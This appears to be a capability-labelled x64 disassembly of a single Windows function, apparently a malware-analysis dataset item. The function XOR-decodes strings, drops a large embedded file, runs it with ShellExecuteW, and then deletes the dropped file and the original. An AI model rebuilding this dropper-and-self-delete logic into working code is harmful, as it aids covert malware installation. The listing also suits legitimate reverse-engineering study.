Function at 0x140002b00
Capabilities:
Create process on windows
Delete file
Encode data using xor
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r13
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
xor r13d, r13d
mov dword [rbp + 0x67], 0x8ffb
mov r8d, r13d
mov rdi, rcx
mov ebx, 0x7025
nop dword [rax]
movsxd rax, r8d
lea rdx, [rbp + 0x67]
lea rdx, [rdx + rax*2]
movzx eax, r8w
sub ax, bx
inc r8d
xor word [rdx], ax
cmp r8d, 1
jb 0x140002b30
mov r8, rdi
mov word [rbp + 0x69], r13w
lea rdx, [rbp + 0x67]
lea rcx, [rbp + 0x17]
call fcn.14000cd10
xor eax, eax
mov dword [rbp - 0x59], 0x8fb98ff5
mov word [rbp - 0x51], ax
mov edx, r13d
mov dword [rbp - 0x55], 0x8fbb8fa5
nop word [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x59]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, bx
inc edx
xor word [rcx], ax
cmp edx, 4
jb 0x140002b80
movdqa xmm0, xmmword [0x1400b6a20]
lea rax, [rbp - 0x59]
movdqu xmmword [rbp - 0x19], xmm0
mov word [rbp - 0x51], r13w
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x29], r13
nop dword [rax]
inc r8
cmp word [rax + r8*2], r13w
jne 0x140002bc0
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x29]
call fcn.14000acf0
lea rdx, [rbp - 0x29]
lea rcx, [rbp - 9]
call fcn.140002920
cmp qword [rbp + 0xf], 8
lea r14, [rbp - 9]
mov rsi, qword [rbp + 7]
lea rcx, [rbp - 0x49]
cmovae r14, qword [rbp - 9]
xorps xmm0, xmm0
mov qword [rbp - 0x49], r13
movabs rax, 0x7ffffffffffffffe
mov dword [rbp + 0x67], r13d
movdqu xmmword [rbp - 0x39], xmm0
cmp rsi, 8
jae 0x140002c2c
movups xmm0, xmmword [r14]
mov qword [rbp - 0x31], 7
movups xmmword [rbp - 0x49], xmm0
jmp 0x140002c6b
mov rbx, rsi
or rbx, 7
cmp rbx, rax
cmova rbx, rax
lea rdx, [rbx + 1]
call fcn.14000c530
lea r8, [rsi*2 + 2]
mov qword [rbp - 0x49], rax
mov rdx, r14
mov rcx, rax
call fcn.1400688f0
cmp rbx, 8
mov qword [rbp - 0x31], rbx
lea rcx, [rbp - 0x49]
cmovae rcx, qword [rbp - 0x49]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x10000000
mov dword [rsp + 0x20], 1
mov qword [rbp - 0x39], rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x140002d37
mov rdx, qword [rbp - 0x31]
cmp rdx, 8
jb 0x140002ce7
mov rcx, qword [rbp - 0x49]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030be
call fcn.140066814
mov rsi, qword [rbp + 0x17]
lea r14, [rbp + 0x17]
mov qword [rsp + 0x108], r12
xorps xmm0, xmm0
mov r12, qword [rbp + 0x2f]
cmp r12, 8
mov qword [rsp + 0x110], r15
mov r15, qword [rbp + 0x27]
cmovae r14, rsi
mov qword [rbp - 0x29], r13
movdqu xmmword [rbp - 0x19], xmm0
cmp r15, 8
jae 0x140002dbb
movups xmm0, xmmword [r14]
mov ebx, 7
movups xmmword [rbp - 0x29], xmm0
jmp 0x140002df7
cmp rsi, 0xffffffffffffffff
je 0x140002ca7
lea r9, [rbp + 0x67]
mov qword [rsp + 0x20], r13
mov r8d, 0x53da00
lea rdx, [0x1400c6fb0]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbp - 0x31]
test bl, bl
je 0x140002cab
cmp rdx, 8
jb 0x140002ce7
mov rcx, qword [rbp - 0x49]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002ce2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030be
jmp 0x140002ce2
movabs rax, 0x7ffffffffffffffe
lea rcx, [rbp - 0x29]
mov rbx, r15
or rbx, 7
cmp rbx, rax
cmova rbx, rax
lea rdx, [rbx + 1]
call fcn.14000c530
lea r8, [r15*2 + 2]
mov qword [rbp - 0x29], rax
mov rdx, r14
mov rcx, rax
call fcn.1400688f0
cmp qword [rbp + 0xf], 8
lea r14, [rbp - 9]
mov qword [rbp - 0x19], r15
xorps xmm0, xmm0
mov r15, qword [rbp + 7]
cmovae r14, qword [rbp - 9]
mov qword [rbp - 0x11], rbx
mov qword [rbp - 0x49], r13
movdqu xmmword [rbp - 0x39], xmm0
cmp r15, 8
jae 0x140002e3b
movups xmm0, xmmword [r14]
mov qword [rbp - 0x31], 7
mov r13d, 7
movups xmmword [rbp - 0x49], xmm0
jmp 0x140002e7f
movabs rax, 0x7ffffffffffffffe
lea rcx, [rbp - 0x49]
mov r13, r15
or r13, 7
cmp r13, rax
cmova r13, rax
lea rdx, [r13 + 1]
call fcn.14000c530
lea r8, [r15*2 + 2]
mov qword [rbp - 0x49], rax
mov rdx, r14
mov rcx, rax
call fcn.1400688f0
mov rbx, qword [rbp - 0x11]
mov qword [rbp - 0x31], r13
cmp rbx, 8
mov qword [rbp - 0x39], r15
mov r15, qword [rsp + 0x110]
lea r9, [rbp - 0x29]
cmovae r9, qword [rbp - 0x29]
lea r8, [rbp - 0x49]
cmp r13, 8
mov dword [rbp - 0x59], 0x8fa98fa9
mov dword [rbp - 0x55], 0x8fbf8fb3
mov r10d, 0x7025
cmovae r8, qword [rbp - 0x49]
xor ebx, ebx
mov edx, ebx
mov dword [rbp - 0x51], 0x8fac
nop dword [rax]
nop dword [rax + rax]
movsxd rax, edx
lea rcx, [rbp - 0x59]
lea rcx, [rcx + rax*2]
movzx eax, dx
sub ax, r10w
inc edx
xor word [rcx], ax
cmp edx, 5
jb 0x140002ed0
mov dword [rsp + 0x28], ebx
lea rdx, [rbp - 0x59]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
mov word [rbp - 0x4f], bx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x31]
cmp rdx, 8
jb 0x140002f45
mov rcx, qword [rbp - 0x49]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f40
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030b8
call fcn.140066814
mov rdx, qword [rbp - 0x11]
movdqa xmm0, xmmword [0x1400b6a20]
mov word [rbp - 0x49], bx
movdqu xmmword [rbp - 0x39], xmm0
cmp rdx, 8
jb 0x140002f96
mov rcx, qword [rbp - 0x29]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002f91
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030b8
call fcn.140066814
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rdi + 0x18], 8
mov rcx, rdi
jb 0x140002fae
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
cmp qword [rbp + 0xf], 8
lea rcx, [rbp - 9]
cmovae rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp + 0xf]
cmp rdx, 8
jb 0x140003008
mov rcx, qword [rbp - 9]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003003
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030c4
call fcn.140066814
mov qword [rbp + 7], rbx
mov qword [rbp + 0xf], 7
mov word [rbp - 9], bx
cmp r12, 8
jb 0x14000304f
lea rdx, [r12*2 + 2]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140003047
mov rsi, qword [rsi - 8]
add rdx, 0x27
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400030c4
mov rcx, rsi
call fcn.140066814
mov rdx, qword [rdi + 0x18]
cmp rdx, 8
jb 0x14000308a
mov rcx, qword [rdi]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140003085
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400030c4
mov rcx, r8
call fcn.140066814
mov r12, qword [rsp + 0x108]
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
mov rbx, qword [rsp + 0x118]
mov qword [rdi + 0x18], 7
add rsp, 0xd0
pop r14
pop r13
pop rdi
pop rsi
pop rbp
ret
call fcn.14007301c
int3
call fcn.14007301c
int3
call fcn.14007301c
int3